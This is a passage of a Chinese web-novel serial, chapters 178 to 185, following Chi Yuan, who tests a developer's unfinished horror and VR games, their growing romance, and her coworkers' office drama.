我关不掉游戏。池鸢把手机塞过来,锁屏键已经变成跳动的齿轮图标,退出按钮变成了吞噬现实的黑洞,第三次尝试时,我房间的镜子开始浮现其他玩家的残影。她的声音戛然而止,因为盛明栩突然猛地拽着她后退——方才他们站立的地方,地砖正以游戏加载进度条的形式龟裂,青灰色的数据洪流顺着缝隙涌出。 客厅电视突然自动开启,满屏都是扭曲的游戏界面。 盛明栩的游戏机从架子上飞起,悬浮在空中疯狂旋转,光盘弹出的瞬间化作锋利的金属飞镖。 池鸢抄起沙发靠垫抵挡,布料撕裂的刹那,两人同时听见游戏音效与现实破碎声完美重合。 窗外的暮色开始呈现游戏渲染的滤镜色调,远处楼宇间隐约浮现出登录界面的星图轮廓。 第178章 戛 盛明栩的目光紧锁在池鸢泛红的额头上,晶莹的汗珠正顺着她苍白的脸颊滑落,在下巴处凝成摇摇欲坠的水珠。空调出风口的冷风掠过,却丝毫没能驱散她身上蒸腾的惊惶气息。 他抬手取下墙上的亚麻毛巾,递过去时触到池鸢冰凉的指尖。 游戏界面还在屏幕上闪烁着未消散的猩红光影——那是个连内部测试版都尚未完全调试的恐怖游戏,此刻满屏的错误代码正在角落里诡异地跳动。 啊,测试阶段你就让我玩,居心何在?池鸢攥着毛巾用力擦拭冷汗,连后颈的碎发都被浸透。 她原本是想这里距离公司近,没想到被临时抓来当活体测试员。游戏里突然跳出的血肉怪物、扭曲变形的NPC面孔,此刻还在她视网膜上残留着残影。 盛明栩垂眸滑动平板,快速关闭后台程序。他的喉结动了动:嗯,给你赔偿。金属边框眼镜在顶灯的照射下闪过冷光,却掩不住他眼底的歉疚。 池鸢挑了挑眉,将沾湿的毛巾甩在沙发扶手上。她倒要看看这位铁公鸡能拿出什么诚意:好啊。 请你吃外卖吧。盛明栩推了推眼镜,耳尖却泛起可疑的红晕,你上次说想吃那家新开的日料店,我记得刺身拼盘有...... 池鸢闻言,原本还带着几分戏谑的神色瞬间凝固,嘴角抽搐了两下:“盛明栩,你认真的?我差点被你那破游戏吓得魂飞魄散,你就拿一顿外卖打发我?”她抱起双臂,身体向后重重靠在沙发上,气鼓鼓的模样像只炸了毛的猫。 盛明栩指尖在平板上停顿了一瞬,抬眼望向池鸢时,镜片后的目光难得带了丝慌乱:“那家店很难预约的,我......我托了关系才拿到号。”他试图解释,声音却越来越小,在池鸢毫不留情的注视下,最终化作一声低叹,“那你想要什么?” 池鸢转了转眼珠,狡黠的光芒在眼底闪过。她突然倾身向前,两人的距离瞬间拉近,盛明栩甚至能看清她睫毛上还未干透的细小水珠:“我要你......” 她故意拉长尾音,看着盛明栩不自觉屏住呼吸的模样,心里暗笑,“把下个月工作室的甜品份额都让给我,还有,以后所有恐怖游戏测试都不许叫我!” 盛明栩愣了愣,随即轻笑出声,紧绷的肩膀也放松下来:“就这个?”他伸手推了推眼镜,镜片后的目光温柔又无奈,“可以,但作为交换,你得帮我测试新开发的恋爱游戏——这次绝对不吓人。” “恋爱游戏?”池鸢挑眉,突然凑近,温热的呼吸扫过盛明栩耳际,“该不会是你照着自己的理想型做的?” 她直起身子,看着盛明栩耳尖肉眼可见地变红,这才心满意足地靠回沙发,“成交,但要是再坑我,下次可就不是一顿外卖能解决的事了。” 空调声混着电脑风扇的嗡鸣,在空气中织出一片静谧。盛明栩低头重新打开外卖软件,余光却忍不住瞥向一旁哼着小曲的池鸢。 他在搜索栏里输入“日料店”,手指悬在屏幕上顿了顿,又鬼使神差地加了份草莓大福。 外卖送达时,暮色已经漫进了房子的落地窗。池鸢拆开包装,被铺满冰面的三文鱼腩晃得眯起眼,却在看到角落里的草莓大福时突然噤声。盛明栩正对着电脑,敲击键盘的声音突然停了半拍,又若无其事地继续。 “喂,这个......”池鸢戳了戳粉白相间的糯米团子,余光瞥见对方耳尖又泛起红意。 “买刺身满减送的。”盛明栩头也不抬,屏幕蓝光映得他睫毛投下细碎的阴影。 池鸢抿着唇角偷笑,用竹签戳破软糯的外皮,草莓酱流淌出来的瞬间,她抬头。 “这就是你的理想型?”她晃到盛明栩面前,屏幕光照亮他骤然紧绷的下颌线。 键盘声戛然而止。盛明栩摘下眼镜擦拭,喉结上下滚动:“只是参考。”他的声音沉下来,带着连自己都没察觉的沙哑,“毕竟你最清楚,玩家讨厌什么样的设定。” 池鸢突然凑近,在他耳旁轻声道:“那我可要好好测试,比如......”她故意拖长尾音,看着对方泛红的耳垂,“这个男主角会不会在女主角被吓到的时候,只请她吃一顿外卖?” 盛明栩猛地转头,两人鼻尖几乎相触。呼吸缠绕的瞬间,窗外惊雷炸响,暴雨倾盆而下。池鸢后知后觉地缩了缩脖子,却被他抬手护住头顶:“去沙发那边,电脑要断电。” 黑暗吞没房间的刹那,池鸢抓住他的袖口。指尖传来的温度比雷声更令人心悸,她听见自己加速的心跳混着雨声,还有盛明栩极轻的一声叹息:“怕就靠过来,算...算另一种赔偿。” 第179章 温 池鸢指尖悬在门把上犹豫片刻,金属表面沁出的凉意顺着指节爬上来。她故意忽略身后男人若有似无的呼吸声,猛地旋开把手—— 潮湿的冷空气裹挟着电子元件特有的焦糊味扑面而来。 本该铺着木地板的室内竟裂开一道深渊,漆黑如墨的裂隙在声控感应灯下泛着幽蓝的光,仿佛某种巨兽张开的獠牙。她后退半步撞上门框,耳后传来压抑的低笑。 别害怕。男人修长的手指搭在她颤抖的肩头,温热掌心透过针织衫烫得她发疼,这只是VR幻境,地板承载能力能承受三吨重物。他故意往前踏出一步,皮鞋底与看不见的地面碰撞出清脆声响。 池鸢盯着他扬起的嘴角,那抹笑意像毒蛇吐信般危险。 她左脚试探性地往前挪动。 失重感来得猝不及防。她本能地抓住虚空,指甲却只抓到流动的光影。 视网膜上的像素残影不断重组,天花板上垂落的藤蔓化作数据流簌簌消散,恍惚间竟看见自己倒映在虚空中的身影,扭曲成陌生的机械轮廓。 不知坠落了多久,绵软的触感突然包裹住全身。 池鸢睁开眼,发现自己陷在蓬松的纳米海绵垫里。四周漂浮着淡紫色的全息指示灯,组成蜿蜒的箭头指向走廊深处。转角处传来衣料摩擦声,阴影里的纤细身影。 等等!池鸢爬起身追过去,镜面墙壁突然翻转重组。 每个门牌号都在闪烁变换,703变成902,1107裂成两半又重新拼合。她听见自己急促的喘息在回廊里形成诡异的共振。 盛明栩双手插兜,不急不慢地走过来,深黑色皮鞋锃亮如新,每一步都精准地踏在地面菱形拼花的中心,在寂静的空间里发出清脆声响,宛如命运的鼓点。 他修长的手指间,一枚硬币上下翻飞,在光影交错中划出一道道银亮的弧线,仿佛在丈量着空间的距离,又像是在推演着未知的命运。 硬币在空中划过最后一道优美的抛物线,盛明栩稳稳接住,抬眼便看到了池鸢。 他微微挑眉,嘴角勾起一抹若有若无的笑意,带着几分戏谑与笃定。 池鸢开口道:“你这里,藏着人?” 盛明栩踱步上前,皮鞋声愈发清晰,压迫感也随之而来。他停在池鸢面前,居高临下地看着她,身上淡淡的冷香混着电子设备特有的气息扑面而来。 “那是游戏中的NPC。”盛明栩漫不经心地瞥了眼那扇门,语气平淡得像是在谈论一件再寻常不过的小事,“但还是那句老话,别去。” 他顿了顿,目光扫过四周闪烁不定的全息指示灯,眉头微皱,“好了,这款游戏还不成熟。” 话语中带着不容置疑的警告意味,仿佛在暗示着门后的未知存在着巨大的危险。 池鸢紧抿嘴唇,心中满是疑惑与不甘。不成熟? 看着盛明栩那副胸有成竹却又讳莫如深的模样,她越发觉得这个游戏和眼前的男人都隐藏着太多秘密,而她,似乎已经深陷其中,难以自拔。 盛明栩垂眸望着她紧蹙的眉峰,指腹无意识摩挲过她腕间凸起的骨节。在池鸢还未反应过来时,冰凉的金属手环已扣上她的腕间,虚拟现实舱发出蜂鸣,蓝光将两人吞没。 当视网膜上的数据流消散,池鸢踉跄着扶住操作台,鼻腔里还残留着模拟环境的电子焦糊味。 盛明栩利落地摘下神经感应头盔,腕表在日光灯下折射出冷冽的光:要走了。他修长的手指划过平板屏幕,航班信息投影在舱壁上,今晚八点飞临城开会。 门在身后合拢的瞬间,她摸到口袋里多了个硬物——那枚在VR里见过的硬币,边缘还带着体温。 第180章 熄 池鸢拖着灌了铅似的双腿踉跄进卧室,反手锁门的瞬间,积攒整日的倦怠轰然压垮最后一道防线。 她机械地拧开淋浴喷头,蒸腾的水雾瞬间漫过镜面,将那张苍白憔悴的脸氤氲成模糊的虚影。 热水如瀑布般倾泻而下,滚烫的水流砸在她紧绷的肩背上,激起细密的刺痛。 池鸢颤抖着解开衬衫纽扣,任凭潮湿的布料滑落,冰凉的瓷砖贴着脚底,与皮肤上灼烧的温度形成诡异的双重奏。 水珠顺着锁骨凹陷处蜿蜒而下,在地面汇成暗河,冲刷着沾着咖啡渍的衣角——那是今早被同事撞翻的美式,此刻正随着水流扭曲出苦涩的波纹。 她仰起头,任由热水灌进喉咙,咸涩的液体混着水珠滑入胸腔。 指节死死抠住花洒支架,金属边缘在掌心勒出深红的印记,像极了老板摔在桌上那份被退回的方案,刺目的红批注仿佛还在眼前跳动。 蒸腾的雾气里,母亲电话里催促相亲的声音、地铁里此起彼伏的鸣笛声,还有深夜加班时窗外寂寥的月光,全都化作细密的水珠,沉甸甸地坠在发梢。 水流渐渐转凉,池鸢这才惊觉手指已经泡得发白。 她伸手关掉喷头,水珠坠地的滴答声在寂静中格外清晰,恍若某种劫后余生的回响。 裹着松软的浴巾跌坐在床沿,池鸢抓起手机时,指腹还残留着热水蒸腾的酥麻感。 电话刚拨通,徐丽雀跃的声音便裹挟着海浪声炸响在耳畔:“宝!我在巴厘岛的悬崖酒吧看日落呢!” 背景音里隐约传来调酒师摇晃酒杯的清脆声响,混合着徐丽肆无忌惮的笑声,在听筒里搅成一团欢腾的漩涡。 池鸢蜷进蓬松的羽绒被,望着天花板上晃动的吊灯光影,嘴角不自觉地扬起:“看把你美的,艳遇排到苏门答腊岛了?”她故意用调侃的语气掩盖嗓音里的沙哑,指尖无意识摩挲着枕套上细密的针脚。 “何止!”徐丽夸张的惊叹让池鸢想起她手舞足蹈的模样,“我跟你说,今天冲浪教练教我起身的时候……”听着老妈连珠炮似的分享,池鸢渐渐沉入绵软的床铺,那些堆积在心底的烦躁竟随着徐丽描述的椰林晚霞,慢慢融化成温热的蜜。海 风卷着热带水果的甜香仿佛穿透屏幕,将满室蒸腾的水汽都染成了度假的颜色。 时针不知何时划过十点,池鸢蜷在床头,指节无意识摩挲着床头的牛皮纸巾盒。 忽然,金属冷意从记忆深处浮上来——那天在盛明栩书房,那枚刻着古怪图腾的硬币,此刻正躺在她梳妆台抽屉最底层。 “先不聊了,我睡了明天上班!”匆匆挂断电话,池鸢掀开被子。 月光透过纱帘在地板流淌,映得她赤脚踩出的影子忽明忽暗。 盛明栩出差前那句“有问题随时找我”还在耳畔回响,男人说话时垂眸整理袖扣的模样,和那枚硬币冰凉的触感在脑海里反复重叠。 深夜的电梯井发出轻微嗡鸣,池鸢站在对门302室前,指尖悬在密码锁上方迟迟未动。 但此刻她却鬼使神差地想起盛明栩设密码时说的“纪念日”。 深吸一口气,她按下那组倒背如流的数字——0723,金属面板蓝光闪烁,门锁发出轻响的瞬间,某种隐秘的雀跃混着不安窜上心头。 玄关感应灯应声亮起,熟悉的雪松香裹挟着空调冷气扑面而来。 池鸢望着空旷的客厅,茶几上还摆着她上次蹭茶时用的青瓷杯,杯底褐色茶渍像枚小小的勋章。 她攥紧口袋里的硬币,朝着书房方向迈出步子,却没发现窗帘后,某个本该出差在外的身影,正将手机里的监控画面悄悄熄灭。 第181章 距 暮色像浸了墨的棉絮,缓缓压进休息室的玻璃窗。 池鸢垂眸望着自己微微发抖的指尖,方才硬币与桌面相撞的脆响还在耳畔回荡。 她深吸一口气,胸腔里翻涌的情绪几乎要冲破喉咙,指尖却稳稳地将另一枚硬币弹向阴影中的男人。 盛明栩修长的手指在空中划出优雅的弧线,硬币被稳稳截获。 落地窗外的霓虹透过百叶窗在他棱角分明的侧脸上投下明暗交错的光影,他喉结滚动着吐出七个字:回忆临时取消了。尾音像被揉皱的纸,带着某种难以名状的钝痛。 男人骨节分明的手指抵上鼻梁,指腹轻轻揉搓着眉骨。 这个细微的动作泄露了他刻意掩饰的疲惫,西装领口歪斜着,领带松垮地挂在脖颈间,与平日那个永远一丝不苟的盛明栩判若两人。 对不起。池鸢咬着下唇,声音轻得像飘在空气中的羽毛。 她望着男人泛青的下颌线,突然想起七年前他在图书馆昏黄灯光下看书的模样——那时他的眼神还没有这般锋利,也不会总带着令人窒息的压迫感。 走廊传来细碎的脚步声,盛明栩骤然挺直脊背,眸光瞬间冷冽如冰。 就在这时,角落里的老式座钟突然发出齿轮咬合的咔嗒声,惊醒了凝滞的空气。 居然连密码也猜到了。盛明栩轻笑出声,笑声里却带着三分自嘲。 他低头凝视着掌心的硬币,金属边缘在皮肤上压出暗红的痕迹,池鸢,你到底还有多少惊喜...话音未落,他的手机在寂静中突兀地响起,屏幕蓝光映亮他骤然紧绷的下颌。 盛明栩的手掌重重拍在池鸢耳畔的墙面上,石膏墙灰簌簌落在她发间。他周身萦绕着雪松混着硝烟的气息,将她整个人笼罩在阴影里。 我都已经道歉了。池鸢偏头避开他灼热的呼吸,后颈抵着粗糙的墙面泛起细微的刺痛。 她能清晰感受到男人剧烈起伏的胸膛,像是压抑着随时会爆发的火山。 你不是害怕那游戏吗?盛明栩忽然俯身,鼻尖几乎要擦过她泛红的脸颊。 池鸢被他箍住的腰传来阵阵发烫,喉结滚动着咽下紧张:确实很真实。她垂眸望着男人衬衫第二颗纽扣,那里别着一枚胸针,逼真到能闻到硝烟,听见子弹擦过耳边的嗡鸣,就像...话音戛然而止,她突然意识到自己说漏了嘴。 盛明栩瞳孔猛地收缩,扣住她后颈的手骤然收紧。走廊尽头的灯将两人交叠的影子投射在斑驳的墙面上,像是一幅油画。 他的呼吸裹着雪松与硝烟的气息,重重喷洒在池鸢泛红的耳尖。 指腹摩挲着她后颈的力道忽而松了松,盛明栩的唇瓣悬在那片滚烫的肌肤上方,像是在丈量彼此间最后一寸危险的距离。 瓷砖墙面沁出的凉意顺着脊椎往上爬,池鸢睫毛剧烈颤动,听见自己擂鼓般的心跳声震得耳膜生疼。 就在她以为男人会就此抽离时,柔软的触感突然覆了上来——带着某种近乎惩罚的力度,呼吸间溢出沙哑的呢喃:这次,换你别想逃。 池鸢的后背紧贴着粗糙的墙面,盛明栩温热的掌心正沿着她腰侧缓缓上移。 空气里浮动着令人窒息的暧昧,就在她的呼吸几乎要与他交织在一起时,刺耳的手机铃声突然在寂静中炸开。 盛明栩的动作猛地僵住,下颌线绷得几乎要折断。 他喉间溢出一声压抑的低咒,额头抵在池鸢肩窝,呼出的气息灼热又急促。 手机锲而不舍地响着,屏幕蓝光在黑暗中明明灭灭,映出他紧蹙的眉峰和眼底翻涌的暗潮。 “接吧。”池鸢偏过头,声音带着不易察觉的颤抖。 她伸手想推开男人,却被他扣住手腕按回墙上。 在铃声即将停止的瞬间,终于捞起震动的手机。屏幕亮起的刹那,池鸢瞥见他骤然冷下来的神色——来电显示上跳动的名字,像是一盆冷水浇在两人发烫的皮肤上。 第182章 叠 暮色透过百叶窗在办公桌上投下细长光影,盛明栩的手机在文件堆里震出嗡鸣。 屏幕上跳动的陌生号码让他眉心微蹙,接通后传来带着职业微笑的女声:盛先生您好,我是冯宛工作室的助理。冯老师想邀请您参加新舞台剧《镜中月》的首演... 话音未落,他已经扯松领带,钢笔尖在合同上洇出墨点:替我谢冯老师,电子票发邮箱吧。 挂断前助理特意补充的冯老师说上次的事多亏您帮忙,让他无意识摩挲着无名指。 上个月慈善晚宴上那场意外的红毯救场,如今成了营销号口中的豪门救美名场面,也让冯宛的微博热搜从#新晋青衣#变成了#盛氏集团神秘护花人#。 窗外霓虹渐次亮起时,他把电子票转发给池鸢,周末有场舞台剧,一起? 二十分钟后震动的手机让她几乎打翻冷掉的咖啡。池鸢回复的好字。 落地钟的报时声在寂静的客厅回荡,盛明栩指尖叩着扶手,目送池鸢踩着慌乱的步伐往玄关走去。 她垂落的发丝遮住泛红的耳尖,高跟鞋磕在大理石地面的声响比往常急促三分。他起身时西装下摆扫过茶几,听见自己用最平淡的语气说:路上小心。 防盗门闭合的瞬间,池鸢后背撞上冰凉的门板。 楼道感应灯突然亮起,惊得她打了个寒颤。电梯下行的机械嗡鸣里,盛明栩方才盯着她翻找剧本的眼神仍烙在后颈——像是透过她的皮囊,直看到了当年那个冒冒失失闯进他书房的女孩。 深夜的公寓里,窗帘缝隙漏进的月光在地板上流淌。 池鸢蜷缩在沙发角落,膝头摊开的剧本被攥出褶皱。想起盛明栩整理袖口时若有若无的雪松香,她咬住下唇,把发烫的脸颊埋进抱枕。明明只是普通的借住风波,可为什么心跳快得像是要冲破胸腔? 那些未说出口的斥责,倒比直白的怒骂更教人辗转难安。 晨光斜斜切进格子间,池鸢对着电脑屏幕发呆时,何璃的化妆镜突然探了过来。 镜面映出她眼下淡淡的青影,同事涂着玫红色甲油的手指轻轻戳她肩膀:姐妹,你脸色比我新买的遮瑕膏还惨白。 键盘敲击声在开放式办公区此起彼伏,池鸢把凉透的咖啡杯往旁边推了推。 玻璃幕墙外的CBD建筑群棱角锋利,像极了昨天盛明栩冷下来的眼神。她勉强扯出个笑:可能最近熬夜改方案。话音未落,茶水间突然爆发出的哄笑刺破空气——几个穿着露肩小香风的女同事正围着手机,屏幕上循环播放着年会时某个同事跳女团舞的片段,弹幕里飘满姐姐好辣的彩虹屁。 何璃对着镜子拧开口红的动作顿了顿,镜中人眼尾那颗泪痣随着她抿唇的动作微微颤动。她忽然凑近压低声音:你说...我去垫个鼻梁怎么样? 指尖无意识摩挲着下颌线,上次年会投票,要是我长得再亮眼点,策划部C位肯定轮不到林曼曼。窗外云层突然遮住阳光,映得镜中那张精心修饰的脸泛起青白,口红在苍白唇瓣上艳得刺目。 池鸢正要开口,办公区的广播突然响起部门例会通知。 何璃匆忙合上镜子,口红盖咔嗒扣合的声音里,她瞥见对方藏在桌下反复揉捏粉饼盒的手——棱角分明的金属边缘在掌心压出深红印记。 会议室投影仪亮起时,策划主管敲了敲白板上的新企划案:冯宛新剧宣传要做线上线下联动,重点是沉浸式体验活动。 林曼曼立刻举手,波浪卷发扫过香奈儿胸针:我建议找网红探店,再让粉丝模仿剧中经典造型打卡!主管点头的瞬间,何璃的指甲深深掐进会议记录本,洇湿的纸页皱成团。 散会后池鸢收拾笔记本,余光瞥见何璃独自留在座位上,对着电脑反复放大冯宛的剧照。 屏幕蓝光映在她脸上,鼠标滚轮不停滑动,从天鹅颈到直角肩,最后定格在那双含情目。其实我五官拆开都不差。何璃突然转头,睫毛膏晕染出细小的黑点,就差那么点组合的运气,对吧? 当晚池鸢加班到十点,电梯下行时又收到盛明栩的消息。 简单的我在车库四个字。 推开安全通道门的刹那,冷风卷着细雨扑面而来,而地下车库尽头,那辆黑色宾利的车灯穿透雨幕,像某种隐秘的召唤。 手机在包里震动,何璃发来张医美机构的价目表,重点项目用荧光笔标得刺眼。池鸢打字的手悬在半空,玻璃穹顶的雨水顺着纹路蜿蜒而下,恍惚间竟与昨夜倚在门上时急促的心跳声重叠。 第183章 模 暮色顺着车窗漫进来,在池鸢膝头流淌成暗金色的河。 盛明栩握着方向盘的手指骨节分明,车载香薰散出若有似无的雪松香,混着皮革座椅的气息将她裹住。他忽然偏过头,镜片后的眸光在仪表盘幽蓝的光晕里忽明忽暗:游戏修改好了,带你体验。 池鸢攥紧帆布包带,指甲几乎掐进掌心。后视镜里她的倒影正在发抖——昨夜那个戴着青铜面具的NPC突然在脑海中浮现,脖颈后被窥视的凉意如影随形。 算了,今天工作很多,回去要加班。她听见自己的声音像被砂纸磨过,刻意加重的尾音却泄露了慌乱。 盛明栩轻嗤一声,指腹摩挲着方向盘上的纹路。 此刻嘴角勾起的弧度带着几分玩味:我还以为你能撑到通关。他的目光掠过她耳尖泛白的皮肤,又漫不经心地转回路面,那就送你到家吧,其他的随便你。 引擎声突然变得刺耳,池鸢望着车窗外飞速倒退的梧桐树,忽然想起上周在公司楼下撞见他的场景。 本该出现在会议室的男人,却倚着这辆黑色SUV低头,衬衫第三颗纽扣松开着,露出半截锁骨。当时他说在等服务器维护,现在想来,倒像是某种精心编织的谎言。 你最近......她犹豫着开口,喉结滚动了两下,不去公司了吗? 红绿灯前,盛明栩摘下金丝眼镜擦拭镜片,露出那双带着血丝的眼睛。暮色将他的侧脸切割成锋利的轮廓,声音却懒洋洋的:反正一个人没事干解乏,总比...... 话音戛然而止,像是突然意识到失言,他又将眼镜戴上,镜片后的目光变得深不可测。 池鸢盯着他袖口露出的一截绷带,那上面似乎沾着暗红的痕迹。车载电台突然响起尖锐的电流声,在寂静的车厢里炸开,惊得她浑身一颤。 后视镜里,盛明栩的嘴角依然挂着笑,却像是蒙着层冰冷的玻璃,让她看不清背后的情绪。 车子拐进老城区狭窄的巷道,路灯在挡风玻璃上碎成一片片橙黄。池鸢数着窗外斑驳的墙皮,直到轮胎碾过减速带的震动让她回过神——盛明栩竟将车停在了公寓高楼下。 你怎么......她猛地转头,却撞进男人俯身过来的阴影里。盛明栩的指尖擦过她颈侧,在她本能后仰时,只是拈起卡在头枕上的耳机线。 上个月团建,你喝醉了说想养猫。他将耳机线绕成整齐的线圈,声音低得像在哄骗,我记得这附近有流浪猫救助站。 池鸢的后背紧贴着冰凉的车门,突然注意到副驾储物格里露出一角病历本。泛黄的纸页上精神科三个字刺痛了她的眼睛,而盛明栩已经坐直身子,重新发动了车子。 引擎轰鸣声中,他像是不经意地说:其实游戏里的NPC会学习玩家行为模式。 盛明栩的手机在这时震动起来,屏幕亮起的瞬间,池鸢瞥见锁屏照片竟是她上周刚删除的自拍。男人漫不经心地划开消息,转头时镜片后的眼神变得陌生。 手机在掌心疯狂震动,池鸢几乎是颤抖着按下接听键。徐丽爽朗的声音穿透电流:小鸢!我到你楼下了,买了很多东西,快下来搭把手! 盛明栩指尖轻叩方向盘的节奏骤然停住。 池鸢盯着他镜片下若隐若现的明眸,喉头发紧:我......我妈来接了,得先走。她扯出个比哭还难看的笑容,慌乱中拉开车门时,帆布包带缠住了盛明栩的手表。 金属表盘冰凉的触感让两人同时僵住。盛明栩垂眸望着纠缠的表带,嘴角勾起一抹意味深长的弧度。 池鸢几乎是用扯的抽出包带,踉跄着后退两步。夜风卷起她的发丝,远处,徐丽拎着沉甸甸的礼盒向她招手,银色高跟鞋在夜色里格外刺目。 路上小心。盛明栩摇下车窗,漆黑的瞳仁倒映着她仓皇的身影。 她跌跌撞撞跑向徐丽,后背早已被汗浸透。 第184章 半 梅雨季潮湿的空气裹着烦闷黏在皮肤上,徐丽将沉甸甸的购物袋甩在玄关,珍珠耳坠随着动作在鬓角划出细碎的光。 她跌坐在米白色贵妃椅里,指尖无意识摩挲着丝质裙摆,空调出风口的格栅将冷风切割成温柔的絮语,却吹不散眉间凝结的愁云。 右手拇指反复按压着突突跳动的太阳穴,水晶吊灯在天花板投下蛛网般的光影。过几天就能回去住了。 她对着空气轻声解释,声音像是浸了水的宣纸般绵软无力。 水晶吊灯的光晕在徐丽睫毛上碎成星子,她忽然想起那个替自己托起沉重购物袋的手掌。 男人骨节分明的手指裹着温热,连带着地下室冷气凝成的寒意都被驱散殆尽——盛明栩就住在这栋公寓的某层吗? 手机推送的娱乐新闻突然在脑海里炸开,那些标题刺得太阳穴又开始隐隐作痛。 财经版说他收购濒临破产的科技公司,娱乐头条却写着深夜密会神秘女子,狗仔镜头里他永远带着疏离的笑,像被雾气笼罩的山岚,捉摸不透。 落地窗映出徐丽微蹙的眉,窗外暮色渐浓,霓虹灯开始在雨幕里晕染成模糊的光斑。 指尖无意识地摩挲着贵妃椅的绒面,徐丽抬眸望向倚在门框边的池鸢。 少女将奶茶吸管咬得咯吱作响,发梢还沾着方才下楼取快递时落的雨珠:可不是嘛,上个月我刚搬来就撞见他。 哦?徐丽坐直身子,茶几上的罗盘随着动作轻晃,铜铃发出细碎声响。 池鸢干脆跳上沙发,手机屏幕亮起,狗仔偷拍的模糊照片里,盛明栩倚着黑色迈巴赫抽烟,银质袖扣在夜色中泛着冷光。他在这片区至少有三套房,少女滑动屏幕的指尖顿了顿,听说顶楼复式常年空着,也不知道金屋藏的什么娇。 徐丽望着窗外逐渐亮起的万家灯火,忽然想起盛明栩帮她按电梯时,袖口若有似无的雪松香。 水晶吊灯在玻璃幕墙投下扭曲的倒影,她轻笑出声:难怪财经版说他商业嗅觉敏锐,连不动产都要囤成堡垒。话音未落,手机在膝头震动,最新推送的标题刺目——《盛氏集团深夜收购案曝光,神秘女伴身份成谜》。 落地钟敲响十一点的瞬间,池鸢打着哈欠伸懒腰,发尾的粉色挑染扫过徐丽垂落的珍珠项链。 空调外机的嗡鸣裹着夜色渗进窗缝,两人随意说了句晚安,便各自隐入不同的房间。 徐丽沾着香水味的真丝枕套还残留着白天的疲惫,头刚陷进蓬松的羽绒枕,意识便坠入浓稠的黑甜乡。 晨光刺破云层时,池鸢正对着镜子涂睫毛膏。 她踩着帆布鞋冲出房门,金属钥匙串在掌心叮当作响。 电梯门开启的刹那,冷冽的雪松香扑面而来——盛明栩倚着轿厢内壁,银灰色西装妥帖勾勒出宽肩窄腰,手机屏幕蓝光映得眉眼愈发冷峻。 早......池鸢的招呼卡在喉咙里。男人垂眸掠过她的草莓图案卫衣,喉结微动却未作声。 电梯下行的失重感里,只有腕表秒针的滴答声。直到金属门重新滑开,盛明栩的皮鞋踏碎晨光,黑色大衣下摆带起的风掀动她的衣角,却始终没留下半个字。 第185章 浪 早上,路灯一盏接一盏亮起,在地面洒下昏黄的光晕。 池鸢站在路边,远远瞧见盛明栩的黑色跑车疾驰而来,扬起一阵细碎的尘土。 她连忙抬手,正要出声打招呼,却见盛明栩面色冷峻,眉头紧锁,额前的碎发被风吹得凌乱,眼神中透着一丝焦虑与急切。 还未等她开口,引擎发出轰鸣,跑车如离弦之箭般冲了出去,车轮卷起的风带起几片落叶,在半空中打着旋儿,转瞬便消失在道路尽头,只留下一缕若有若无的尾气。 池鸢望着远去的车影,喃喃自语道:“看起来,有事啊……” 晨光透过写字楼的百叶窗,在工位上切割出明暗交错的条纹。 池鸢刚把咖啡杯放在键盘旁,隔间就传来何璃尖锐的抱怨声:那个玻尿酸医生根本没审美! 染着紫色挑染的脑袋探过隔板,指甲上的水钻在阳光下晃得人眼疼,你看这苹果肌,硬得像塞了两个硅胶球! 我早说过恢复期要耐心等。临桌的赛琳转动着钢笔,屏幕上的报表还停留在昨晚修改到一半的位置。 何璃对着手机前置摄像头挤眉弄眼,突然把屏幕怼到她面前:帮我看看,是不是右边脸更肿?这家机构说能免费补打,你觉得...... 至少等三个月再做决定。赛琳抽回被挡住的视线,余光瞥见茶水间方向,于娜抱着一摞彩页走来。 作为办公室资历最深的老员工,这位总是穿着职业套装的大姐脸上挂着标志性的温和笑容,手里的宣传单页印着碧海蓝天的热带风光。 公司争取到的福利!于娜将传单分发给每个人,纸张边角还带着油墨的温度,跨境考察,边旅游边工作,机票酒店......她顿了顿,推了推金丝眼镜,公司承担基础费用,其余部分要大家自理。 邻座的实习生小声嘀咕了句变相团建,被于娜意味深长的眼神压了下去。 池鸢指尖划过宣传单上的图案,想起盛明栩消失时那辆疾驰的跑车。 窗外忽然掠过一道银灰色影子,她猛地抬头,却只看见被风吹得簌簌作响的空调外机,在玻璃幕墙上投下斑驳的阴影。 正当众人对着旅游优惠券议论纷纷时,办公室的玻璃门突然被推开,行政总监踩着十厘米的高跟鞋走了进来,手里还拿着一叠文件,脸色严肃得可怕。 “大家先放下手里的事,开个紧急会议。”她的声音在安静的办公室里格外清晰,众人面面相觑,放下手中的东西,朝着会议室走去。 会议室内,投影仪亮起,屏幕上赫然是公司最近的财务报表,触目惊心的赤字让不少人倒吸一口冷气。行政总监敲了敲桌面,沉声道:“由于市场竞争加剧,公司近期业绩下滑严重,接下来的三个月,所有部门都要进行绩效考核,不达标的项目组将面临重组。这次的考察,与其说是福利,不如说是一次机会,在考察过程中,大家需要挖掘新的业务增长点。” 散会后,办公室的气氛变得压抑起来。何璃早已没了抱怨整容的心思,瘫在椅子上唉声叹气:“完了完了,本来还想着去旅游放松一下,现在倒好,成了苦差事。” 于娜倒是显得很镇定,收拾着桌面上的文件,说道:“有压力才有动力,说不定我们能在那边发现商机呢。” 池鸢回到座位,打开电脑继续处理工作,可盛明栩匆匆离去的模样却在她脑海中挥之不去。她鬼使神差地打开手机,翻到两人的聊天界面,犹豫再三:什么时候去你家试玩。 等了许久,没人回复。 接下来的日子,整个公司都陷入了忙碌的氛围。池鸢除了完成手头的工作,还要和团队成员一起讨论考察的计划,研究当地市场。偶尔空闲下来,她还是会不自觉地查看手机,期待着盛明栩的消息。 有过了几天,暮色将天边染成暧昧的藕荷色时,池鸢攥着入场券在剧院外的梧桐树下等盛明栩。 风卷起她鬓边碎发,池鸢望着空荡荡的路口怔了片刻,才踩着细高跟往场馆走去。 与上次相比,剧院外墙新挂上了冯宛巨幅海报,霓虹灯带将沉浸式戏剧专场几个字映得流光溢彩。检票口处挤着举着灯牌的粉丝,此起彼伏的尖叫混着保安的劝阻声,连台阶旁的灌木丛都被挤得东倒西歪。 穿过喧闹的人群,池鸢在后台入口被拦住了。 西装革履的男人递来烫金名片,腕间百达翡丽折射出冷光:我是冯宛未婚夫,她特意让我来接您。对方微笑时露出整齐的白牙,却让池鸢想起上次演出后台,那个抱着吉他的男生局促地给冯宛剥橘子的模样。 记忆里男生洗得发白的牛仔裤,和眼前男人锃亮的鳄鱼皮鞋在光影里重叠又分离。 池鸢跟着未婚夫穿过缀满水晶灯的长廊。 转角处传来舞台幕布升降的嗡鸣,她抬头望向尽头透出微光的侧门,隐约听见观众席爆发的掌声,像是涨潮时漫过礁石的海浪。 第186章 